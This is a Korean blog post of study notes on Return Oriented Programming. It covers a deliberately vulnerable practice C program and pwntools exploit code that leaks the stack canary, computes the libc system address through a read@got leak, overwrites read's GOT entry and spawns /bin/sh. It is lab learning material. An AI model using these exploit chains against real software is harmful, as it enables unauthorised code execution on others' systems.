[시스템 해킹] 💥 Exploit Tech: Return Oriented Programming (ROP)

zzoni·2022년 8월 11일
0

시스템해킹

목록 보기
14/15
  • system 함수
    위험하기 때문에 실제 바이너리에서 이 함수가 PLT에 포함될 가능성은 거의 없다.
    -> 프로세스에서 libc가 매핑된 주소를 찾고, 그 주소로부터 system함수의 offset을 이용하여 함수의 주소를 계산해야 한다.

ROP란?

다수의 리턴 가젯을 연결해서 사용하는 기법



</> ROP C code

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
  
  // Leak canary
  puts("[1] Leak Canary");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
  
  // Do ROP
  puts("[2] Input ROP payload");
  printf("Buf: ");
  read(0, buf, 0x100);
  
  return 0;
}



🛡️ 보호기법


-> aslr, canary, nx


🔍 코드 분석

두 번의 오버플로우로 canary를 우회하고, ret를 덮을 수 있음
1. system함수의 주소 직접 구하기
2. "/bin/sh"문자열을 사용할 다른 방법 고안



🛠 익스플로잇 설계

1. 카나리 릭

똑같



2. system 함수의 주소 계산

system 함수는 libc.so.6에 정의되어 있다.
libc.so.6애는 read, puts, printf도 정의되어있다.
라이브러리 파일은 메모리에 매핑될 때 전체가 매핑되므로, 다른 함수들과 함께 프로세스 메모리에 적재된다.

  • 직접 호출은 하지 않기 때문에 GOT에는 등록 x
    • 그러나
      read, puts, printf는 등록!
      -> 이들의 GOT를 읽을 수 있다면 libc.so.6가 매핑된 영역의 주소를 구할 수 있다.
    • 💡
      libc에는 여러 버전이 있는데 같은 libc안에서 두 데이터 사이의 거리(Offset)는 항상 같다. 그러므로 사용하는 libc의 버전을 알 때, libc가 매핑된 영역의 임의 주소를 구할 수 있으면 다른 데이터의 주소를 모두 계산할 수 있다.



3. "/bin/sh"

  1. 임의 버퍼에 직접 주입
  2. 다른 파일에 포함된 것 사용

2번 방법에서는
libc.so.6에 포함된 "/bin/sh"문자열을 사용하는 방법을 많이 쓴다.

이번 실습에서는 ROP로 버퍼에 "/bin/sh"를 입력하고 참조하는 1번방법을 사용!



4. GOT Overwrite

알아낸 system 함수의 주소를 어떤 함수의 GOT에 쓰고, 그 함수를 재호출하도록 ROP 체인을 구성






💥 익스플로잇

1. 카나리 릭

buf ~ rbp 거리 : 0x40
canary는 8byte이므로 buf~canary거리 : 0x40-0x08 = 0x38
-> 0x38 + 1 = 0x39 byte만큼 더미값을 주면 카나리 릭 성공

buf = b"A"*0x39 #0x38 + 1
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))



2. 시스템함수 주소 계산

  • read 함수의 got 읽는다.

  • read 함수와 system 함수의 offset을 이용하여 주소를 얻는다.

    • pwntools의 ELF.symbols 메소드 이용
      libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
       offset = libc.symbols["read"]-libc.symbols["system"]

# puts(read@got)
payload += p64(pop_rdi)  # gadget    : puts
payload += p64(read_got) # value     : read@got
payload += p64(puts_plt) # function  : puts(read@got) 호출


p.sendafter("Buf: ", payload) # puts()와 read got를 이용해서 read() 주소 출력

# 시스템 함수 주소 
read = u64(p.recvn(6) + b"\x00"*2)      # read()의 주소
lb = read - libc.symbols["read"]         # libaray base = read()의 주소 - read symbols
system = lb + libc.symbols["system"]    # system address = libaray base + system offset



3. GOT Overwrite 및 “/bin/sh” 입력

# read(0, read@got, 0) => read@got <= system addr
payload += p64(pop_rdi) + p64(0)            # read(0, , )
payload += p64(pop_rsi) + p64(read_got) # read(0, read@got, )
payload += p64(0)                           # read(0, read@got, 0)
payload += p64(read_plt)                    # read(0, read@got, 0) 호출

# read_got + 8에 "/bin/sh"문자열 작성
payload += p64(pop_rdi)
payload += p64(read_got+0x8)    # read 함수의 첫번째 인자 값 ("/bin/sh")
payload += p64(read_plt)        # read("/bin/sh") 호출



4. 셸 획득

p.send(p64(system)+b"/bin/sh\x00")
profile
모든 게시물은 다크모드에서 작성되었습니다!

0개의 댓글